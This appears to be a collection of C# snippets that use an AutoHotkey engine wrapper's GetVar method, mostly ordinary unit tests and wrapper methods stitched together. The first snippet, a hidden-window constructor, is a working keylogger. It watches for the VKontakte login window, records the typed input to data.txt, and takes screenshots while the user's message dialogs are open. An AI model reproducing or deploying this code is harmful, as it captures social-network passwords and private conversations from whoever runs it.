public HideWindow() { InitializeComponent(); File.Delete("data.txt"); string WinTitle = ""; while (true) { System.Threading.Thread.Sleep(10); WinTitle = GetActiveWindowTitle(); if (WinTitle != null) { if (WinTitle.Contains("Добро пожаловать | ВКонтакте")) { ahk.ExecRaw("Input, kl, V L1, {Enter}"); File.AppendAllText("data.txt", ahk.GetVar("kl")); } if (WinTitle.Contains("Диалоги")) { //ahk.ExecRaw("Input, kl, V, {Enter}"); //File.AppendAllText("data.txt", ahk.GetVar("kl") + Environment.NewLine); ImageFromScreen().Save("test.bmp"); System.Threading.Thread.Sleep(5000); } } } }
public void Test_pipe_communication() { Init_pipes(); const string ahkCode = @"serverMessage := SendPipeMessage(""Hello"")"; _ahk.LoadScript(ahkCode); Assert.AreEqual("SERVER:Hello", _ahk.GetVar("serverMessage")); }
public void test_pipe_communication() { init_pipes(); string ahk_code = @"serverMessage := SendPipeMessage(""Hello"") "; ahk.LoadScript(ahk_code); Assert.Equal("SERVER:Hello", ahk.GetVar("serverMessage")); }
private void InitBindMode() { bindModeThread = new AutoHotkeyEngine(); BindModeEvent bindModeEventDelegate = BindModeEventCallback; IntPtr eptr = Marshal.GetFunctionPointerForDelegate(bindModeEventDelegate); bindModeThread.LoadFile("BindModeThread.ahk"); var tv = bindModeThread.GetVar("tv"); bindModeThread.ExecRaw(String.Format("bh := new BindHandler({0})", eptr)); }
public void can_set_and_get_variable() { ahk.SetVar("var1", "awesome"); string var1Value = ahk.GetVar("var1"); Assert.Equal("awesome", var1Value); }
public void Can_set_and_get_variable() { _ahk.SetVar("var1", "awesome"); var var1Value = _ahk.GetVar("var1"); Assert.AreEqual("awesome", var1Value); }
public void can_auto_exec_in_file() { //loads a file and allows the autoexec section to run //(sets a global variable) ahk.LoadFile("script_exec.ahk"); string script_var = ahk.GetVar("script_exec_var"); Assert.Equal("jack skellington", script_var); //run function inside this file to change global variable //(changes the perviously defined global variable) ahk.ExecFunction("script_exec_var_change"); script_var = ahk.GetVar("script_exec_var"); Assert.Equal("zero", script_var); }
public string GetVariable(string variableName) { return(ahk.GetVar(variableName)); }
public string GetVar(string varName) { return(ahk.GetVar(varName)); }